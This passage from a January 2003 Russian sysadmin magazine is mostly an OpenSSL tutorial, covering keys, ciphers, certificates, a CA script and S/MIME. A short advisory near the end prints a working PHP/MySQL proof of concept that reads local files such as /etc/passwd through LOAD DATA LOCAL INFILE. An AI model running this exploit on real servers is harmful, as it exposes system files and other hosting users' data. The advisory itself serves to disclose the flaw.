Cуществует также несколько вспо-могательных утилит ssl:! openssl speed [список_алгорит-

мов_хеширования_или шифро-вания]: тестирование скоростиразличных алгоритмов, если за-пускать без параметров, то тес-тируются все алгоритмы; алго-ритмы внутри списка разделяют-ся пробелом, например:

В конце выводится общая скоростьработы различных алгоритмов (в1000-х байт в секунду), для обра-ботки различной длины блоков.Вот результат работы тестов ско-рости на моём домашнем компе(Celeron 366), на других компахзначения будут другими:

! openssl rand [-out file] [-rand file]num: генерация num рандомныхбайт:

! openssl ciphers [-ssl2] [-ssl3] [-tls1]NAME: вывод доступных алгорит-мов для обеспечения уровня бе-зопасности NAME, где NAME –это символическое названиегруппы алгоритмов. Обычно ис-пользуются значения:

� LOW – алгоритмы низкогоуровня безопасности (меньше128 бит);

� MEDIUM – алгоритмы средне-го уровня стойкости (128 бит);

� HIGH – алгоритмы высокойстойкости (больше 128 бит);

� ALL – все алгоритмы;� NULL – алгоритмы без шифро-

вания.

Обычно в настоящее время ис-пользуются алгоритмы группMEDIUM и HIGH, которые ещё дол-го не смогут быть взломаны пря-мым перебором. Можно также вы-вести список алгоритмов из не-скольких групп, разделив их «:»(например, MEDIUM:HIGH).

Теперь я бы хотел рассказать об ос-новных утилитах openssl. Для началая расскажу о методах генерации клю-чей, затем о командах шифрования и,наконец, о сертификатах, s/mime, кли-ент/серверных тестах. Итак, пару слово генерации ключей. Для создания rsaключей используется команда genrsa:

Команда genrsa создаёт секретныйключ длиной bits в формате PEM, шиф-рует его одним из алгоритмов des (56бит), des3 (3-й des 168 бит) или idea (128бит). При выборе алгоритма шифрова-ния будет запрошен пароль для шиф-рования создаваемого секретного клю-ча (если алгоритм не указан, то секрет-ный ключ не шифруется, чего делатьни в коем случае нельзя). Опция -out го-ворит программе, что вывод нужно осу-ществлять не в stdout, а в файл file (оп-ция -out присутствует во множестведругих компонентов openssl и исполь-зуется аналогичным образом для ука-зания выходного файла). Опция -randуказывает на файл/файлы (разделён-ные «:»), из которых будут считыватьсяданные для установки seed генератораслучайных чисел. В качестве таких фай-лов сразу же приходит на ум использо-

openssl genrsa [-out file] [-des | -des3 | -idea] [-rand file] [bits]

# openssl rand 5Wеб~#

Проверка алгоритмов асимметрического шифрования

openssl speed md5 rsa idea blowfishdes 3des sha1

Page 23: 002 Системный Администратор 01 2003

21№1(2), январь 2003

администрирование

вать что-то вроде /dev/random или /dev/urandom, но у меня с этим возниклипроблемы – всё вешалось наглухо, по-этому я рекомендую в этом случае ис-пользовать какие-нибудь сложно угады-ваемые файлы, вроде /var/log/messagesили /boot/vmlinuz, думаю, что угадать со-держимое этих файлов не намного про-ще чем содержимое /dev/random, ноработает этот фокус в любом *nixe (оп-ция -rand также присутствует во всехкомпонентах генерации и управленияключами и сертификатами). Использо-вать /dev/random и /dev/urandom, конеч-но, можно, но я для этого скопировализ /dev/random 32 768 байт в файл .rndтаким образом:

Кроме этого, можно указывать вкачестве -rand файла EGD сокет, ко-торый обеспечивает генерацию опре-делённого количества случайныхбайт, EGD доступен на узле http://www.lothar.com/tech/crypto/. Установкагенератора случайных чисел произво-дится на основании хеша -rand фай-ла, поэтому можно указывать файлыразличной длины, так как хеш всеравно имеет фиксированное числобит. Пример генерации 4096-битово-го секретного ключа RSA:

После этого секретный ключ за-шифровывается и записывается вфайл (в текстовом виде). В началеключа указывается алгоритм шифро-вания. Для создания публичного клю-ча rsa на основе секретного исполь-зуется команда openssl rsa. Даннаякоманда имеет следующий формат:

Утилита openssl rsa способна изме-нять пароль и алгоритм шифрованиясекретного ключа, будучи вызвана спараметром -in и -out. Если применитьпараметр -pubout, то в указанный файл-out будет записан публичный ключ,вычисленный на основе -in секретно-

го. Например, создание публичногоключа на основании секретного:

Изменение пароля и алгоритмашифрования секретного ключа с des3на idea:

Для создания ключей DSA исполь-зуется утилита openssl gendsa, анало-гичная genrsa, но есть два отличия:во-первых, для ключей DSA нельзяуказывать длину в битах и, во-вторых,ключи DSA могут генерироваться со-гласно некоторым параметрам, запи-санным в файл paramfile утилитойopenssl dsaparam, имеющей следую-щий формат:

где numbits – длина желаемого ключа,-С заставляет dsaparam вывести наstdout код на СИ для программной ге-нерации DSA на основе необходимыхпараметров, а опция -genkey говорит,что в выходной файл, наряду с пара-метрами, дополнительно записывает-ся созданный секретный ключ DSA, нонельзя его сразу же зашифровать, по-этому удобнее воспользоваться утили-той openssl gendsa, которая имеет схо-жий синтаксис с командой genrsa, новместо числа бит указывается файлпараметров, созданный dsaparam:

Для управления ключами dsa ис-пользуется программа openssl dsa, ко-торая абсолютно аналогична (в пара-метрах) утилите openssl rsa. Поэтомуя просто приведу пример генерациипубличного ключа DSA:

Теперь настало время рассказатьо компонентах openssl, выполняющихшифрование и хеширование данных.

Для выполнения симметрическогошифрования используется утилитаopenssl enc -cipher или её сокращён-ная запись openssl cipher, где cipher –это одно из символических имён сим-метрических шифров. Наиболее попу-лярными являются следующие:! base-64 (преобразование в тексто-

вый вид);! bf (blowfish – 128 бит);! des (56 бит);! des3 (168 бит);! rc4 (128 бит);! rc5 (128 бит);! rc2 и idea (128 бит).

Для указания входного и выходногофайлов используются опции -in и -outсоответственно. Пароль для шифрова-ния вводится с клавиатуры (можно ука-зать в командной строке параметром-k, но это очень плохо по соображени-ям безопасности, так как большинствошелов умеют сохранять историю коман-дной строки, на мой взгляд, намноголучше ввести пароль непосредственноперед шифрованием). Учтите, что па-роль не спрашивается при обработкефайла base64, так как шифрования непроисходит. Для расшифровки зашиф-рованных данных примените opensslcipher с опцией -d (алгоритм шифрова-ния и дешифрования должен совпа-дать!), а для одновременной обработ-ки данных base64 можно воспользо-ваться опцией -a. Шифрование по умол-чанию происходит с подмешиванием(подсолением), для выбора алгоритмаподмешивания используется случайнаясоль (salt), поэтому, если вы шифруетеодин и тот же файл в разное время од-ним и тем же алгоритмом и паролем,то результаты скорее всего будут раз-ными (это затрудняет атаку по слова-рю). Также по умолчанию использует-ся cbc режим алгоритмов, когда ключменяется в течение всего сеанса рабо-ты согласно передаваемым данным.Приведу несколько примеров:! зашифруем файл, используя алго-

ритм des3:

! расшифруем полученный файл:

openssl rsa -in /etc/openssl/key.pem-out /etc/openssl/pubkey.pem -pubout

openssl rsa -in /etc/openssl/key.pem-out /etc/openssl/key1.pem -idea

# openssl genrsa -out /etc/openssl/key.pem -des3 -rand /var/log/messages4096

Generating RSA private key.....++*...++++++++*Enter PEM passphrase:Verify PEM passphrase:

openssl rsa -in filename [-out file][-des | -des3 |-idea] [-check] [-pubout]

dd if=/dev/[u]random of=.rnd count=64

openssl dsaparam [-rand file{s}][-C] [-genkey] [-out file] numbits

# openssl gendsa -out /etc/openssl/dsakey.pem -rand /boot/vmlinuz -ideaparamfile Enter PEM passphrase: VerifyPEM passphrase:

# openssl dsa -in /etc/openssl/dsakey.pem -out /etc/openssl/pubdsakey.pem -pubout

# openssl des3 -in file -outfile.des3

# openssl des3 -d -in file.des3 -out file

Page 24: 002 Системный Администратор 01 2003

22

администрирование

! зашифруем файл, используя алго-ритм blowfish(bf), и закодируемbase64:

! теперь расшифруем его и обрабо-таем сразу же base64:

Для вычисления хешей использу-ется команда openssl dgst -hashalg иликраткая форма openssl hashalg (пер-вая команда может также выполнятьманипуляции с ЭЦП, но об этом да-лее). Обычное использование даннойкоманды таково openssl hashalg [-c]file[s]. Вычисляется хеш сообщенияфиксированной длины в виде однойстроки или, если указана опция -c,строки, разделённой на пары HEXчисел двоеточием.

Среди алгоритмов хешированиямогут применяться следующие:! md2 (128 бит);! md4 (128 бит);! md5 (128 бит);! mdc2 (128 бит);! sha (160 бит);! sha1 (160 бит);! ripemd160 (160 бит).

Опять же приведу пару примеров:! вычислим md5 хеш файла:

! а теперь SHA1 хеш этого же файла:

Как я уже говорил, утилита openssldgst может использоваться для под-писывания сообщения секретнымключом и проверки ЭЦП публичнымключом. Для этого используется сле-дующий синтаксис:

Подписывание file с помощью сек-ретного ключа private_key, используяалгоритм хеширования hasalg (обыч-

но применяются sha1 или md5).

Проверка подписи в file, используяпубличный ключ public_key и ЭЦПsignature. Данная программа выводит«Verification OK» при правильной под-писи или «Verification Failure» в любомдругом случае. Учтите, что ЭЦП в та-ком случае хранится отдельно от фай-ла, который ею подписан.

Для шифрации и дешифрации RSAалгоритмом используется программаrsautl. Данная утилита имеет такжевозможность подписывать и прове-рять подпись сообщений (однако ра-ботать всё равно приходится с хешемсообщения, так как подписывать мож-но только небольшой объём данных,поэтому лучше применять openssldgst). Для шифрации/дешифрации ис-пользуется следующий синтаксис:

Шифрация file с использованиемпубличного ключа pubkey.pem.

Дешифрация file.cr с использова-нием секретного ключа secretkey.pem.

Теперь настало время рассказатьоб одном из главных примененийopenssl – управление сертификатами.Openssl имеет возможность генериро-вать сертификаты, управлять ЭЦП ишифрованием с помощью сертифика-тов. Однако применение утилит управ-ления сертификатами – достаточносложная задача. Поэтому для началая дам общие представления о серти-фикатах. Сертификат содержит пуб-личный ключ, подписанный одним изкорневых доверенных центров серти-фикации (или комплементарным сек-ретным ключом), данные об организа-ции, выдавшей сертификат, и в неко-торых случаях зашифрованный сек-ретный ключ, а также отпечаток (хеш)публичного ключа. Сертификаты име-ют время действия, по окончании ко-торого они автоматически считаютсянедействительными, иерархия серти-фикатов обычно строится на основа-

нии сети доверия (бывают довольнодлинные цепочки сертификатов, веду-щие к доверенному ключу из root CA).Таким образом, сертификат – это пол-ный комплекс системы асимметричес-кого шифрования, предоставляющийгораздо больше возможностей, чемсами по себе ключи (а также являю-щийся более защищённой системой).Основным привлекательным моментомсертификата является возможностьзаписи в него информации об органи-зации, этот ключ выдавшей. Таким об-разом, явно напрашивается примене-ние собственной системы сертифика-ции в данной организации. Можно, на-пример, выдавать сотрудникам их пер-сональные сертификаты, подписанныесертификатом организации (его можносгенерировать самому или получить отсторонней компании). Причём эти сер-тификаты впоследствии можно исполь-зовать для удостоверения личности со-трудника, например, при почтовой пе-реписке или аутентификации на http-сервере (apache+ssl). Единственное ус-ловие, которое должно выполняться, –это наличие на машине клиента серти-фиката организации в списке корневыхдоверенных ключей. Общее содержа-ние сертификатов определено стандар-том x509, в то время как форматы за-писей сертификатов могут внести не-которую путаницу. Openssl по умолча-нию использует формат PKCS#10,Microsoft использует по умолчанию фор-мат PKCS#12 (в руководстве по opensslэтот формат охарактеризован как одинбольшой баг), формат PKCS#7 исполь-зуется для запросов на сертификациюк CA (центр сертификации) и не можетсодержать секретного ключа, также дляэтой цели может использоваться DER-закодированный сертификат (DER-ко-дирование подобно кодированиюbase64, но имеет специальное назна-чение для использования в криптогра-фических системах) также без секрет-ного ключа. Учтите, что при использо-вании DER-формата убираются марке-ры начала и конца сертификата, а егосодержимое кодируется base64, поэто-му в файле DER можно хранить толькоодин сертификат, с другой стороныDER-сертификаты поддерживаются M$(стандартное расширение .cer), поэто-му иногда бывает нужно преобразоватьсертификаты из одного формата в дру-гой (я здесь имею в виду PEM или DER):

# openssl bf -a -in file-out file.bf64

# openssl bf -a -d -in file.bf64-out file

# openssl md5 -c file MD5(file)=81:fd:20:ff:db:06:d5:2d:c3:55:b5:7d:3f:37:ac:94

# openssl sha1 file SHA1(file)=13f2b3abd8a7add2f3025d89593a0327a8eb83af

openssl dgst -sign private_key-out signature -hashalg file[s]

openssl dgst -signature signature-verify public_key file[s]

openssl rsautl -in file -out file.cr-keyin pubkey.pem -pubin -encrypt

openssl rsautl -in file.cr -out file-keyin secretkey.pem -decrypt

Page 25: 002 Системный Администратор 01 2003

23№1(2), январь 2003

администрирование

Таким же образом можно конвер-тировать и ключи асимметрическогошифрования (используя утилиты rsaили dsa).

Думаю, что не сильно запутал васвсеми этими стандартами. Еслиобъяснять на пальцах, то всё выгля-дит следующим образом: клиент со-здаёт сертификат и отправляет свойпубличный сертификат (PKCS#7) вцентр сертификации. В центре серти-фикации обрабатывается запрос кли-ента (запрос на сертификацию), и сер-тификат клиента подписывается сек-ретным ключом центра сертифика-ции. Клиент, имея публичный ключцентра сертификации, проверяет под-линность подписи и может далее ис-пользовать свой сертификат. Дляорганизации можно предложить сле-дующее решение: на сервере созда-ётся сертификат организации; генери-руется запрос на сертификацию и от-правляется к некоему доверенномуцентру сертификации (который будетизвестен всем клиентам и персоналуданной организации); получается сер-тификат организации, который мож-но использовать при создании серти-фикатов клиентов. Последние созда-ются так: клиент посылает запрос навыдачу сертификата; сервер создаётсертификат клиента и подписываетего сертификатом организации; кли-ент получает сертификат клиента исертификат организации; после про-верки достоверности ключа организа-ции (предполагается, что клиент до-веряет CA, которым был подписансертификат организации) проверяет-ся достоверность сертификата клиен-та. После такой операции клиент бу-дет точно уверен, что получил серти-фикат от данной организации и мо-жет его использовать для работы сней. По такой схеме построены всецентры выдачи сертификатов (прав-да зачастую сертификат организациибывает подписан самим собой, чтотребует от клиента добавить сертифи-кат организации к доверенным, а впервой схеме сертификат организа-ции принадлежит к группе промежу-точных центров сертификации, и этотслучай предпочтительнее с точки зре-

ния безопасности и удобства клиен-та, но требует больше работы от ад-министратора). Да, хорошенькоеобъяснение на пальцах! Но что тут по-делать: сертификаты – это довольнозапутанная вещь. Сейчас я объясню,как создавать сертификаты с помо-щью openssl и приведу пример толь-ко что описанного безобразия...

Для создания сертификата ис-пользуется инструмент openssl req. Онимеет довольно много параметров,поэтому, чтобы не парить мозги, япросто приведу пару примеров его ис-пользования. Для начала требуетсяконфигурационный файл, которыйимеет следующий формат (все стро-ки, начинающиеся с # – это мои ком-ментарии, в конечном файле их мо-жет и не быть):

Если не указывать prompt no, тозначения для параметров будут счита-ны в интерактивном режиме (то бишьс клавиатуры), а значения параметровбудут являться подсказками при вво-де данных. При интерактивном режи-ме можно указывать значения по умол-чанию, а также минимальное и макси-мальное значения для параметров (длястроковых параметров устанавливает-ся ограничение на длину). В таком слу-чае общий формат параметра таков:

Пример интерактивного файлаконфигурации:

Спешу обрадовать некоторых лени-вых товарищей: если вы намеревае-тесь создавать просто сертификат сер-вера (например, для LDAP-сервера), тоуказывать конфиг необязательно, бу-дет использоваться конфиг по умолча-нию /usr/lib/ssl/openssl.cnf, который со-держит всё необходимое. Ну а теперьтрадиционно приведу примеры исполь-зования openssl req (я не собираюсьподробно описывать данную команду,так как думаю, что для большинстваслучаев хватит примеров, а для осо-бых случаев можно почитать man req).

Создание запроса на сертифика-цию (-new) на основе создаваемогосекретного ключа rsa (-newkeyrsa:2048), который записывается вфайл -keyout (и шифруется тройнымDES). Запрос на сертификацию со-здаётся на основе конфигурационно-го файла-config.

Создание (-new) self-signed серти-фиката (-x509) для использования вкачестве сертификата сервера илисертификата CA. Сертификат созда-ётся с использованием секретногоключа -key и конфигурационного фай-ла -config. Создаваемый сертификатбудет действителен в течение 365дней (-days), опция -days не примени-ма к запросам на сертификацию.

PEM�>DER openssl x509 -inform PEM-in cert.pem -outform DER -out cert.cer

DER�>PEM openssl x509 -inform DER-in cert.cer -outform PEM -out cert.pem

[ req ]# Секция основных опцийdefault_bits = 2048# Число битdefault_keyfile = keyfile.pem# Имя ключа, используемого для# сертификатаdistinguished_name = req_distin-

guished_name# DN организации, выдавшей# сертификатprompt = no# Брать параметры из конфига# неинтерактивный режим[ req_distinguished_name ]# DN организацииC=RU# СтранаST=Ivanovskaya# ОбластьL=Gadukino# ГородO=Krutie parni# Название организацииOU=Sysopka# Название отделенияCN=Your personal certificate# Имя для сертификата (персоны,# получающей сертификат)[email protected]# Мыло организации

имя = подсказкаимя_default = значение_по_умолчаниюимя_max = максимумимя_min = минимум

openssl req -x509 -new -keyprivate_key.pem -config cfg -outselfcert.pem -days 365

openssl req -new -newkey rsa:2048-keyout rsa_key.pem -config cfg -outcertreq.pem

[ req ]default_bits = 1024default_keyfile = privkey.pemdistinguished_name = req_distin-

guished_name[ req_distinguished_name ]countryName = Country Name (2 letter

code)countryName_default = RUcountryName_min = 2countryName_max = 2localityName = Locality Name (eg, city)organizationName = Organization Name(

eg, org)organizationalUnitName =

Organizational Unit Name (eg, section)commonName = Common Name (eg, YOUR

name)commonName_max = 64

emailAddress = Email AddressemailAddress_max = 40

Page 26: 002 Системный Администратор 01 2003

24

администрирование

Для управления сертификатамиx509 используется утилита opensslx509. С её помощью можно подписатьсертификат или запрос на сертифи-кацию сертификатом CA. Также мож-но просмотреть содержимое сертифи-ката в читаемой форме (DN, публич-ный ключ, время действия, отпечатоки т. д.). Приведу примеры вышеопи-санных действий:

Просмотреть информацию о сер-тификате в «нормальной» форме. Вотчто примерно будет выведено, такжеможно использовать дополнительныеопции: -fingerprint (необходимо соче-тать с одной из опций -sha1, -md5 или-mdc2), -modulus (вывод публичногоключа), -serial, -subject, -issuer (орга-низация, выдавшая сертификат), -email, -startdate, -enddate:

Подписать запрос на сертифика-цию (-req) файла -in, используя до-веренный CA сертификат -CA и егосекретный ключ -CAkey. В конечныйсертификат клиента (-out) записыва-ются дополнительные параметрысертификата третьей версии из фай-ла /usr/lib/ssl/openssl.cnf (конфигура-ционный файл по умолчанию). Но обэтом я расскажу после на конкретномпримере. Такое поведение x509 по-зволяет организовать свой центрсертификации, подписывающий зап-росы клиентов на сертификацию.

Преобразование сертификата -inв доверенный сертификат для ис-пользования в SSL клиентах(sslserver – использование в каче-стве сертификата сервера,emailProtection – использование в

качестве сертификата S/MIME).Я ещё раз хотел бы вернуться к

проблеме построения CA. Для ис-пользования внутри организацииможно взять self-signed сертификат,но для использования СА вне орга-низации приходится брать сертифи-каты, выданные или подписанныесторонней организацией. Во второмслучае возникает проблема выборатакой сторонней организации (оналегко разрешается для дочернихкомпаний), которая требует юриди-ческого анализа (в разных странахсуществуют свои законы криптогра-фии и поэтому дать какой-либо кон-кретный совет я не могу). Если вамдовелось работать в российскойправительственной компании, тосчитайте, что вам не повезло – ис-пользовать openssl для работы справительственными организация-ми нельзя. Наши уважаемые госу-дарственные деятели добавили кучупроблем админам, разрешив исполь-зовать только алгоритмы ГОСТ(симметрические, асимметрические,хеширования – меня просто вывора-чивает от самого этого слова ГОСТ),поэтому использовать вам придёт-ся только специальные программы,реализующие эти алгоритмы. Я жеприведу здесь пример построениясобственного CA с self-signed серти-фикатом:! Генерируем секретный ключ:

! Создаём self-signed сертификат:

Содержимое конфигурационногофайла зависит от организации, мож-но даже воспользоваться утилитой/usr/lib/ssl/misc/CA.pl -newcert, кото-рая создаст ключ и сертификат водном файле в интерактивном режи-ме (хотя мне этот вариант не оченьпонравился, лучше один раз напи-сать нормальный конфиг) – о допол-нительных требованиях к конфигу-рации CA сертификата смотри ниже.! Генерируем клиентские сертифи-

каты, например, как приведенониже:

openssl x509 -in cert.pem -noout-text

openssl x509 -in CAcert.pem -addtrustsslclient -alias «myorganization CA» \-out CAtrust.pem

Certificate:

Data:

Version: 3 (0x2)Serial Number: 0 (0x0)Signature Algorithm: md5WithRSAEncryptionIssuer: C=RU, ST=region, L=city, O=organization, OU=Sysopka,

CN=CEBKA/[email protected]

Validity Not Before: Nov 9 08:51:03 2002 GMT Not After : Nov 9 08:51:03 2003 GMTSubject: C=RU, ST=region, L=city, O=organization, OU=Sysopka,

CN=CEBKA/[email protected]

Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (1024 bit)

Modulus (1024 bit):00:c6:6b:3b:8e:f8:33:05:a0:dc:e1:38:8f:6a:68:42:1c:21:33:aa:90:b6:8c:93:14:11:9b:69:94:8a:3a:0e:42:29:b0:45:14:1b:f0:37:2c:f3:05:db:13:06:a9:cd:eb:99:31:51:25:86:c8:69:e0:5e:8d:28:04:8d:1f:08:37:d7:72:39:fe:05:57:61:68:95:bf:5c:ae:13:f2:05:a1:29:c3:bf:3b:32:ca:1a:ff:22:53:f9:32:92:78:fe:44:c3:e1:ca:42:5c:5f:d1:49:da:1c:9f:34:06:04:ee:46:74:8d:11:68:ef:37:e2:74:1e:d9:46:04:b8:7e:d5:c5

Exponent: 65537 (0x10001)

Signature Algorithm: md5WithRSAEncryption3b:42:85:45:08:95:f3:f1:fc:8a:23:88:58:0e:be:e5:9b:56:1e:c1:ff:39:28:4f:84:19:f8:3e:38:ef:98:34:d6:ee:e0:0a:de:36:3a:5c:15:88:d7:2a:a4:0a:d5:dc:3e:b2:72:4c:82:57:b8:fe:52:f6:e2:06:01:38:eb:00:0b:f2:a9:87:be:65:83:19:13:50:ae:6c:f2:0a:07:14:e6:8c:60:cd:c5:a3:d1:e1:ea:da:24:c2:6a:06:d5:dc:1c:71:c9:64:fa:9e:c9:ca:97:e2:06:84:de:4c:69:b8:9a:af:66:14:8d:46:9a:00:53:13:c9:ab:10:b8:09:c2

openssl x509 -req -in clientreq.pem -extfile /usr/lib/ssl/openssl.cnf \-extensions /usr/lib/ssl/openssl.cnf -CA CAcert.pem -CAkeyserverkey.pem \-CAcreateserial -out clientcert.pem

openssl genrsa -out CAkey.pem-rand randfile -des3 4096

openssl req -new -x509 -keyCAkey.pem -out CAcert.pem -days 365-config cfg

Page 27: 002 Системный Администратор 01 2003

25№1(2), январь 2003

администрирование

Дополнительные свойства, опи-санные в скрипте (v3_req), означают,что клиент может использовать сер-тификат для подписывания и шифра-ции, но его сертификат не являетсяCA-сертификатом. Для CA-сертифи-ката значение basicConstraits должнобыть равно CA:TRUE (об этом забы-вать нельзя!). Поле nsCertType опре-деляет дополнительные назначенияданного ключа (для использования вкачестве клиента, подписывания, ис-пользования в почтовых сообщениях).Для CA-сертификатов обычно приме-няют следующие значенияnsCertType: sslCA, emailCA. Для sslключей серверов (например, апача)используется значение nsCertType =server. Полученный таким образомсертификат клиента будет содержатьинформацию о поставщике сертифи-ката (то есть о вашем сертификатеорганизации). Клиенту необходимобудет передать его сертификат, егосекретный ключ (зашифрованный!) иваш сертификат организации. Дляклиентов Microsoft необходимо ещё иперевести сертификаты в форматPKCS#12. Для этого воспользуемсякомандой openssl pkcs12:

Для обратного преобразования ис-пользуется синтаксис:

В выходной файл записываютсясертификат клиента, CA-сертификат,секретный ключ клиента (его можно за-шифровать опцией -des3, -idea и т. д.).Такое поведение позволяет использо-вать для вывода только формат pem(маркеры здесь обязательны!). Дляэкспорта сертификата организацииможно воспользоваться командойpkcs12 ( конечно же без параметраinkey), можно также обработать сер-тификат организации base64 и сохра-нить в файле .cer (openssl x509 -inCA.pem -outform DER -out CA.cer).

В openssl существует компонентуправления s/mime сообщениями, на-зывающийся openssl smime. Данная

#!/bin/bashdd if=/dev/random of=/tmp/.rnd count=64RAND="/var/log/messages:/boot/vmlinuz:/tmp/.rnd"REQ="openssl req"X509="openssl x509"RSA="openssl rsa"GENRSA="openssl genrsa"O="company"C="RU"ST="region"L="city"PURPOSES="digitalSignature, keyEncipherment"CERTTYPE="client, email, objsign"CA="/etc/openssl/CAcert.pem"CAkey="/etc/openssl/CAkey.pem"OUTDIR="/etc/openssl/clientcert/"CN="client"BITS=2048DAYS=365

#Создаём секретный ключ во временной папке БЕЗ шифрованияTMP="/tmp/ssl-$$"mkdir $TMPif [ ! -d $OUTDIR ];then

mkdir $OUTDIRfi

pushd $TMP > /dev/null$GENRSA -rand $RAND -out tmp.key $BITS

# Создаём конфиг для клиентаcat > cfg <<EOT[ req ]default_bits = $BITSdistinguished_name = req_DNextensions = v3_req[ req_DN ]countryName = "1. Country Name (2 letter code)"countryName_default = "$C"countryName_min = 2countryName_max = 2stateOrProvinceName = "2. State or Province Name (full name) "stateOrProvinceName_default = "$ST"localityName = "3. Locality Name (eg, city) "localityName_default = "$L"0.organizationName = "4. Organization Name (eg, company) "0.organizationName_default = "$O"organizationalUnitName = "5. Organizational Unit Name (eg, section) "organizationalUnitName_default = "$OU"commonName = "6. Common Name (eg, CA name) "commonName_max = 64commonName_default = "$CN"emailAddress = "7. Email Address (eg, name@FQDN)"emailAddress_max = 40emailAddress_default = ""[ v3_req ]basicConstraints = CA:FALSEkeyUsage = $PURPOSESnsCertType = $CERTTYPEEOT# Создаём запрос на сертификацию$REQ -new -key tmp.key -config cfg -rand $RAND -out $CN.pem# Этот файл лучше удалить побыстрее: мало ли чего...rm -fr /tmp/.rndif [ $? -ne 0 ]; then

echo "Failed to make a certificate due to error: $?"popd > /dev/nullrm -fr $TMPexit $?

fi# Подписываем сертификат сертификатом сервера

$X509 -req -in $CN.pem -CA $CA -CAkey $CAkey \-extfile cfg -days $DAYS -out $OUTDIR$CN.pemchmod 0400 $OUTDIR$CN.pemchown root:root $OUTDIR$CN.pem# Шифруем секретный ключ$RSA -in tmp.key -des3 -out $OUTDIR$CN-key.pemchmod 0400 $OUTDIR$CN-key.pemchown root:root $OUTDIR$CN-key.pem# Выполняем заключительные действияpopd > /dev/null

rm -fr $TMP

echo -e "Generation complete, go to $OUTDIR and give to client $CN his certificateand \

\n private key(for windows users you should use openssl pkcs12 utility)"

openssl pkcs12 -export -inclient.pem -inkey client-key.pem -outclient.p12 \

-name "Client certificate from ourorganization"

openssl pkcs12 -in client.p12 -outclient.pem

Page 28: 002 Системный Администратор 01 2003

26

администрирование

утилита позволяет зашифровывать,расшифровывать, управлять ЭЦП иMIME-заголовками писем. Приведуопять же несколько примеров её ис-пользования:

Подписывает сообщение -in (в тек-стовом виде) и подписывает (-sign) егос помощью сертификата (-signer) исекретного ключа (-inkey). Вывод идётнепосредственно к sendmail, для это-го определены MIME-заголовки from,to и subject.

Проверяет подпись в файле -in,записывает сообщение в файл -out,а полученный сертификат – в файл-signer (для проверки s/mime сооб-щения не требуется ничего, кроменего самого, так как ЭЦП s/mime со-держит публичный ключ!).

Шифрация файла -in с помощьюсертификата получателя user.pem, ис-пользуя алгоритм des3. Вывод про-граммы посылается непосредственнов sendmail.

Расшифровка файла -in с помо-щью секретного ключа -inkey и сер-тификата -recip (ваш собственныйсертификат).

Есть альтернатива не указыватьsmime-заголовки from, to и subject.Можно просто указать необходимыйфайл -out и добавить заголовки с по-мощью программы sendmail вручную.Кроме этого, есть ещё одна деталь ис-пользования smime: некоторые почто-вые клиенты используют в качествеподписи вложение в формате PKCS#7(чаще всего закодированное base64).

В таком случае необходимо приме-нять smime следующим образом:

PEM используется для стандарт-ного формата PKCS#7, а DER зас-тавляет произвести дополнительнуюобработку base64. Учтите, что в дан-ном случае файл -in представляетсобой только подпись (аттачмент), а-content – непосредственно текст

openssl smime -decrypt -in mail.msg-recip mycert.pem -inkey private_key.pem\ -out mail.txt

openssl smime -encrypt -in mail.txt-from [email protected] -to [email protected] \

-subject "Encrypted message"-des3 user.pem | sendmail \

[email protected]

openssl smime -verify -in mail.msg-signer user.pem -out signedtext.txt

openssl smime -sign -in mail.txt-text -from [email protected] -to \

[email protected] -subject "Signedmessage" -signer mycert.pem -inkey \

private_key.pem | [email protected]

openssl smime -verify -inform [PEM |DER] -in signature.pem[der] -content \mail.txt

письма. Можно также заставитьsmime подписывать сообщения по-добным образом, если указать оп-цию -pk7out (PEM-формат). Для пре-образования PKCS#7 структуры изформата PEM в формат DER можновоспользоваться утилитой opensslbase64 (обратное преобразованиедостигается за счёт использованияопции -d).

Итак, думаю, что для большинстваопераций с использованием SSL это-го будет достаточно.

Page 29: 002 Системный Администратор 01 2003

Чтение произвольных файловв PHP + mySQL (локальный эксплоит)

Атакующий может использовать PHP и mySQL, чтобычитать некоторые локальные файлы. Создайте базу дан-ных (mySQL) и загрузите этот файл на сервер.

PHP-код (viewfile.php):

– вы загрузите содержание /etc/passwd.Уязвимость очень опасна, потому что пользователь мо-

жет читать некоторые важные файлы на вашем сервере.Особенно это критично на бесплатных хостингах – уязви-мость позволяет получить доступ к содержанию другихпользователей.

Возможность DNS имитации в BIND

CAIS/RNP (Brazilian Research Network CSIRT) и VagnerSacramento от DIMAp/UFRN (Отдел Информатики и Приклад-ной математики Федерального университета Rio Grande doNorte) провели эксперименты с несколькими версиямиInternet Software Consortium’s (ISC), Berkeley Internet NameDomain (BIND), демонстрируя возможность успешной атакиDNS имитации (DNS Spoofing) в 4 и 8 версии программы.

На сегодняшний день более 60% DNS-серверов исполь-зуют уязвимые и старые версии BIND. Обнаруженная про-блема показывает, что BIND не предотвращает посылку2-х или более разрешающих запросов для одного и тогоже домена, тем самым позволяя нападения DNS-имита-ции с существенной вероятностью успеха.

Принцип нападения состоит в том, чтобы ответить лож-ной информацией на запрос DNS-сервера, заставляя егозаписать в кэш ложный IP-адрес для некоторого домена.

Чтобы лучше понять обнаруженную уязвимость, рас-смотрим следующий сценарий. Когда n различных DNS-клиентов посылают одновременные запросы DNS-сер-веру (BIND 4 или BIND 8), чтобы разрешить то же са-мое имя домена, целевой сервер отправит запросы кдругим DNS-серверам, начинающимся с корневых серве-

<?// config this data$dbhost = "";$dbuser = "";$dbpasswd = "";$dbname = "";$file = "/etc/passwd";// filename that you wanna view

// shell codeecho "<pre>";

mysql_connect ($dbhost, $dbuser, $dbpasswd);

$sql = array ("USE $dbname",'CREATE TEMPORARY TABLE '.($tbl = 'A'.time()) . ' (a LONGBLOB)',"LOAD DATA LOCAL INFILE '$file' INTO TABLE$tbl FIELDS ". "TERMINATED BY'__THIS_NEVER_HAPPENS__' ". "ESCAPED BY'' "."LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'","SELECT a FROM $tbl LIMIT 1");

foreach ($sql as $statement) {$query = mysql_query ($statement);if ($query == false) die("FAILED: " . $statement . "\n" ."REASON: " . mysql_error () . "\n");if (! $r = @mysql_fetch_array ($query,MYSQL_NUM)) continue;echo htmlspecialchars($r[0]);mysql_free_result ($query);}echo ""; ?>

Несколько серьезныхуязвимостей в BIND

ISS X-Force обнаружил несколько серьезных уязви-мостей в Berkeley Internet Name Domain Server (BIND).BIND – самое популярное выполнение DNS-протокола.

